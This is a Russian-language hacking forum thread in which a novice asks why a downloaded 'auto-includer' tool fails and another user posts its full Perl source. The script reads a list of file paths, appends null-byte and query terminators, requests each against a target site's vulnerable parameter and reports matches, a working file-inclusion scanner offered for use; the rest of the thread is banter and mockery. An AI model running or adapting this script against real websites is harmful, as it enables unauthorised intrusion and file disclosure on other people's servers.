Автоинклудер

Почему не работает ?

 

Луна не в той фазе. Задай нормально вопрос, мы тут не телепаты)

 

Гггггггггггг)).Да просто сделал как написано - ввёл путь до уязвимого параметра в скрипте сайта и вбил ентер:Р.И опять возвращает суко в С:\Автоинклудер (эт папка где он лежит =_=)

 

Велемир, ты покажи что за скрипт! Я не телепат ещё раз говорю.

 

сирень голубая потомучто по небу слоны топчатся и суки не убирают за собой когда дадя вася спит на лавочке возле ментовки.

 

#!/usr/bin/perl
use LWP::UserAgent;

if (@ARGV < 1) {&usage(); exit();}

$|=1;

$timeout = 0;
$log_inc = 'all_links.txt';

$host = $ARGV[0]; # сервак
$search = 'GET';
#$search = 'ServerRoot';

@ends = ('%00','?','');

open PATH,$log_inc;
@paths=<PATH>;
close PATH;

foreach $end (@ends) {
foreach $path (@paths) {
chomp($path);
print "\r\nTry ".$path.$end."... ";
$answer = &query();
if($answer ne "not_find"){print "YES!!!\r\n\r\n=========================\r\n\r\n$answer\r\n\r\n=========================";}
else{print "NO";}
}
}

sub query()
{
#print "\r\n".$host.$path.$end."\r\n";
$sock = LWP::UserAgent->new(timeout=>$timeout);
$res = $sock->get($host.$path.$end,'USER_AGENT'=>'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
if($res->is_success)
{
if($res->as_string =~ /$search/) { return $host.$path.$end; } else {return "not_find";}
}
else{return "not_find";}
}


sub usage()
{
print "
Vulnerability auto-includer

Usage: auto_includer.pl http://site/path_to/page.php=

"
}

Дерзайте )

 

Ты уверен что инклюд есть?

 

Хз,это мол прога Автоинклудер,которая валялась в аттаче на форуме.А есь норм инклудеры или самому писать?))))))))

 

ещё один... млять.. долбаные каникулы.... еслиб с помощью этого скрипта можно было бы инклюдеть на любом сайте то был бы ХАОС... чтоб его использовать нада проверить уязвим ли сайт ... уху ... а теперь спать

 

не хочу.